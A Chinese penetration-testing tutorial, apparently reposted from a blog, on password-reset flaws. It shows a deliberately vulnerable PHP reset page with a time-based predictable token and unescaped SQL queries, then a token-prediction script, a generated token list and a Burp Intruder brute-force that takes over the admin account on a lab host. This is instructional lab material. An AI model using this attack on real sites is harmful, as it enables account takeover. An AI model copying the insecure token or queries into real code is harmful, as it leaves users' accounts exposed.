100.网络安全渗透测试—[常规漏洞挖掘与利用篇16]—[密码找回漏洞与测试]

本文阅读 9 分钟
首页 代码,C/C#/C++ 正文

我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!

一、密码找回漏洞与测试

1、密码找回漏洞简介

       为了防止用户遗忘密码,大多数网站都提供了找回密码功能。常见的找回密码方式有:邮箱找回密码、根据密码保护问题找回密码、根据手机号码找回密码等。虽然这些方式都可以找回密码,但实现方式各不相同。无论是哪种密码找回方式,在找回密码时,除了自己的用户密码,如果还能找回其他用户的密码,就存在密码找回漏洞。

       密码找回漏洞在逻辑漏洞中占了较大的比例。测试密码找回漏洞与其他逻辑漏洞的方法相同,其中必经的两个步骤是:熟悉业务流程(密码找回过程)与对流程中的HTTP请求分析。

2、密码找回漏洞测试

(1)源码审计:forget.php

<?php
    include 'init.php';

    
    //以下是关键漏洞代码:此处创建token的方法过滤简单!!!属于可预测型token!!!
    function create_pass($username,$email){ 
        $token=md5(time().$username.$email);
        return $token;
    }


    echo '<meta charset="UTF-8">';
    //以下是验证用户是否存在 
    if($_GET['c']=='forget'){     
        $username= trim($_POST['username']);    
        $re=mysql_query("select * from member where username='{ $username}'");    
        $row = mysql_fetch_array($re);    
        $_email = $row['email'];
        if($row){         
            echo "<form method='post' action='?c=email'>";
            echo "用户{ $row['username']}存在 请输入用户的邮箱";
            echo "<input type='text' name='email'/>";
            echo "<input type='hidden' name='username' value='{ $row['username']}'/>";
            echo "<input type='submit' value='发送key'/></form>";    
        }    
    }
    
    
    //以下是验证邮箱是否合法,然后模拟把含有token的修改密码链接发送给邮箱
    if($_GET['c']=='email'){ 
        $username= trim($_POST['username']);
        $re=mysql_query("select * from member where username='{ $username}'");
        $row = mysql_fetch_array($re);
        $email= trim($_POST['email']);
        if($email == $row['email']){ 
            $token=create_pass($row['username'],$row['email']);
            mysql_query("update member set token='{ $token}' where id='{ $row['id']}'");
            echo "密码已发送到邮件,请登录邮箱修改密码";
            //这里的功能不完整,应该是给邮箱发送一个含有token的修改密码链接的
            //这里只是提示发送了链接给邮箱,我们可以通过手工的查看靶机的数据库就当作收到了含有token的链接。 
        }else{ 
            echo "邮箱错误 请填写对应的邮箱";
        }    
    }
    
    
    //以下是发给邮箱的含有token的修改密码页面
    if($_GET['c']=='send'){ 
        $token = trim($_GET['token']);    
        $re = mysql_query("select * from member where token='{ $token}'");
        $row = mysql_fetch_array($re);
        if($row){ 
            echo "<form method='post' action='?c=pass'>";
            echo "输入你要修改的密码 ";
            echo "<input type='text' name='password'/>";
            echo "<input type='hidden' name='token' value='{ $token}'/>";
            echo "<input type='submit' value='修改密码'>";            
        }                
    }
    
    
    //以下是修改密码,然后把密码存入数据库
    if($_GET['c']=='pass'){ 
        $token = $_POST['token'];
        $password =md5(trim($_POST['password']));
        $re = mysql_query("update member set password ='{ $password}' where token = '{ $token}'");    
        if($re){ 
            echo "修改成功";
        }else{ 
            echo "修改失败";        
        }        
    }
    
    
    //以下是登录表单
    if($_GET['c']=='login'){ 
        echo '<form method="post" action="?c=main">';
        echo '用户 <input type="text" name="username"><br>';
        echo '密码 <input type="password" name="password"><br>';
        echo '<input type="submit" value="登录">';
        echo '</form>';            
    }
    
    
    //以下是判断登录功能
    if($_GET['c']=='main'){ 
        $username = $_POST['username'];
        $password = md5($_POST['password']);
        $re = mysql_query("select * from member where username='{ $username}' and password='{ $password}'");
        $row = mysql_fetch_array($re);
        if($row){ 
            echo "{ $row['username']} 登录成功";
        }else{ 
                echo "帐号或密码失败";
            }    
    }
    

    //以下是查询用户是否存在页面
    if(empty($_GET['c'])){ 
        echo '<form method="post" action="?c=forget">';
        echo '<label>请输入你要查询的用户</label>';
        echo '<input type="text" name="username">';
        echo '<input type="submit" value="找回密码">';
        echo '</form>';
    }
?>

(2)正常的密码找回过程:

【几个关键页面】

【测试用户和邮箱】

第一步: 访问http://www.webtester.com/forget.php,测试admin用户是否存在,若存在就跳转到http://www.webtester.com/forget.php?c=forget页面开始找回密码

如下图所示,我们访问http://www.webtester.com/forget.php,输入admin用户,然后点击找回密码,若存在admin用户,则会跳转到http://www.webtester.com/forget.php?c=forget页面 img 如下图所示,由于admin用户存在,所以成功跳转到http://www.webtester.com/forget.php?c=forget页面开始使用邮箱找回密码 img 第二步: 使用admin的moon@moonsec.com邮箱找回密码

如下图所示,我们输入admin的moon@moonsec.com邮箱,然后点击发送key,从而发送一个含有token的修改密码链接给admin的邮箱。 img 如下图所示,邮件发送成功,但是通过之前的源码分析,我们发现其实这里并没有做发送邮件的功能,只是把token存入到了服务器的数据库中,我们这里通过数据库查询该token,然后自己拼接处一个修改密码的链接,这里就当作邮箱收到了链接。 img 如下图所示,成功的发现了token【99f4be12c7cc11bd9f9aa8862d5d2da5】,模拟的是邮箱收到了一个关于token的修改密码链接,也就是:http://www.webtester.com/forget.php?c=send&token=99f4be12c7cc11bd9f9aa8862d5d2da5 img 如下图所示,访问含有token的修改密码链接http://www.webtester.com/forget.php?c=send&token=99f4be12c7cc11bd9f9aa8862d5d2da5,然后输入123456,点击修改密码

img 如下图所示,点击修改密码后跳转到该页面http://www.webtester.com/forget.php?c=pass,成功的修改密码为123456 img 第三步: 访问链接http://www.webtester.com/forget.php?c=login,测试用修改的密码进行登录

如下图所示,使用admin/123456账号登录成功: img img

(3)密码找回漏洞分析:

第一点: 主要看这个函数是否可以预测

function create_pass($username,$email){ 
    $token=md5(time().$username.$email);
    return $token;
}
//time()函数返回的结果是时间戳,每一秒都会变,若靶机和攻击机的时区一样就可以预测token

第二点: 生成 token 原理

md5(当前时间戳 + 用户名 + 邮箱)

第三点: 因此我们在提交生成key,也就是发送邮件之前,可以生成一分钟或者一个小时以内的token,然后使用BurpSuite进行枚举链接http://www.webtester.com/forget.php?c=send&token=token值即可!!!这里使用脚本去生成token值:token.php

<?php
    function create_pass($username,$email){ 
        $token=md5(time().$username.$email);
        return $token;
    }
    
    for($i=1;$i<=60;$i++){ 
        //预测当前时间后的1min内的token值
        $timex= create_pass('admin','moon@moonsec.com');
        //这里的admin和moon@moonsec.com根据不同用户进行自行修改
        write_file($timex."\n");
        echo $i."\r\n";
        sleep(1);    
    }
    
    function write_file($c){ 
        fwrite(fopen("token.txt", "a+"),$c);
        //把token写入到token.txt文件
    }
?>

(4)密码找回漏洞测试:

第一步: 访问链接http://www.webtester.com/forget.php,测试admin用户是否存在,若用户存在则跳转到邮箱找回密码页面http://www.webtester.com/forget.php?c=forget

img img 第二步: 紧接着就是邮箱密码找回了,但是我们现在先不要给邮箱发送key,也就是发送附含token的修改密码的链接,我们需要先执行刚刚的预测token的脚本,生成含token的修改密码链接字典【尤其要注意的一点是攻击机和靶机的时区必须要一样,且日期时间设置是正确的】 img 生成的token.txt内容:

b66e6d5b8f47af48e9756e9f7c61a14b
02446e923f8573ee84cc93bc363ac903
9dcb199d7d17dc9a0495c405cabc28f1
6bd64dcf2c69e77751034c769104af97
979dbf72ae359cb62dc1329e90d92f78
369255ee31cda67edd94202ca4d1f8c9
5940d672ffa0458db4bc36872308c42f
53c132621a35ff782bc389f30d6ab1b5
62475b15e6c20a77486bad46c9a68748
d710ff7473a36708a62ae13d2d729944
e918da3b217a02d5d10e18d0059d9052
9b344f5d8fa16e082d158b0ebb352a5a
7d90330c44258e62f86e277da81c6750
27418390e8cef11bb830f8ed0f74febb
ccb4291217a3dccb5237b7b5bd46dff0
dc1df5776d82ff000d500de2339d0f9d
18d9b14384913b81086557e3b2f9dfe0
eaa5feeda9124ca4ad21102cb77636f3
508501bbcd7ee9f9fb40186c1f70aae7
1d776edfc96a56e4a8859ac09b5bb0dc
593a4a986feb9c0581f15adc130951cd
56f433a104d2c42d661ba225fc55b050
70a57e57d34d2f5db4ef2c405bff8d01
3d865d9941b6673628b1388da8c25cad
2140b6f2c360cbd3862311c26cee1f61
ea1a00ea1b494d19e9540552d26a0479
56f3fa106c75b57adf96f6cde114d394
9b66cc8080af4c8c1d45fa3c75eb40a0
661d9519ebaf4453fd18968d543d3300
22597459f1992f49df3e2be348040275
40b860da8c267a7add996d82394a9bf8
48f23633ce7f8a908cce7bd708cc3b40
39ce6fe1c393fddb87e6dc76cc79c495
189e45a9820986fae623a31434808408
5ccfa5113e04d486e7fc5338b98ae80c
85aa24a9912a70568f4769ce8c12a048
72cd7262c01792b67304cdd7e8b35bce
1af45314c90b2ebcdaf597c418f48662
be7dc020dc1b1d7db4beae4968cfe6bf
a6c0ec5c8d6fc8623b97e2a224709220
d1d41a63001c923c49fd2f6a9593c617
e390a0b75a8d938b82da396d803da80a
455a8500935e3a1f0afd66af7cf17c22
6a138add1e609456c726f382af78d59a
506dc5c7ee6fb089ae34b39a8a263984
74902977d7b6afbc0e16bd91d588fe4f
b914c0e4ec7be7216e24ce3107a4378d
58929e1687a60c8d1638a23668819cf8
d27998f9f2cef4f6b3b0c7a44c595d83
c5dd83dc4945a4b4e0f47615340c4dd0
7fd1878d67fc7ce367547a8d99ac56ca
dba74e5a6e1c1e5f9c0c96f4ed5fdfe4
50d3263436d66fb90a6075d437d852fc
bfb393ad7f928abc9cc19042e6ebec66
778d8e587afce2cf40b62952adf7d3cc
8e14b7c723e275d3ae32d1330f20b666
7b43f52d44c2a706aa5fb5e987fccb98
c07d0b63de2583269f89bcbc0e517815
ef5fbd0ff9dd708daa5f63b676a69a80
2b995d79e453c47f787438287962c30b

第三步: 在第二步生成token的同时,我们在第一步http://www.webtester.com/forget.php?c=forget页面,输入邮箱moon@moonsec.com,然后点击发送key,生成一个含有token的修改密码链接给邮箱。

img

img 第四步: 访问链接http://www.webtester.com/forget.php?c=send&token=xxx,BurpSuite抓包后,送入Inturder模块,然后配合上一步生成的字典对含有token的修改密码链接进行token值的枚举操作。

如下图所示,是拦截到的数据包: img 如下图所示,我们把数据包送入了Intruder模块,同时设置攻击模式为Sniper、设置token变量 img 如下图所示,加载token字典 img 如下图所示,设置线程为16 img 如下图所示,成功枚举到了token值【dc1df5776d82ff000d500de2339d0f9d】 img 第五步: 访问爆破出来的token值的修改密码链接,进行修改密码,并进行登录测试!!! img img img img

(5)漏洞总结:

密码找回漏洞在逻辑漏洞中占了较大的比例。测试密码找回漏洞与其他逻辑漏洞的方法相同,其中必经的两个步骤是:熟悉业务流程(密码找回过程)与对流程中的HTTP请求分析。

【密码找回过程:】

  1. 验证是否存在用户
  2. 若存在用户,则使用邮箱找回密码
  3. 邮箱找回密码,会给邮箱发送一个附含token值的修改密码链接,点击改链接即可直接进行修改
  4. 其中最大的问题就是token值可预测,也就是$token=md5(time().$username.$email);

【对流程中的HTTP请求分析:】

  1. 验证是否存在用户链接:forget.php
  2. 若存在用户跳转到邮箱找回页面:forget.php?c=forget
  3. 其中最重要的是给邮箱发送的链接是:forget.php?c=send&token=可预测的token值
  4. 验证用户登录的链接:forget.php?c=login
本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/qq_45555226/article/details/122792043
-- 展开阅读全文 --
KillDefender 的 Beacon 对象文件 PoC 实现
« 上一篇 02-09
Web安全—逻辑越权漏洞(BAC)
下一篇 » 03-13

发表评论

成为第一个评论的人

热门文章

标签TAG

最近回复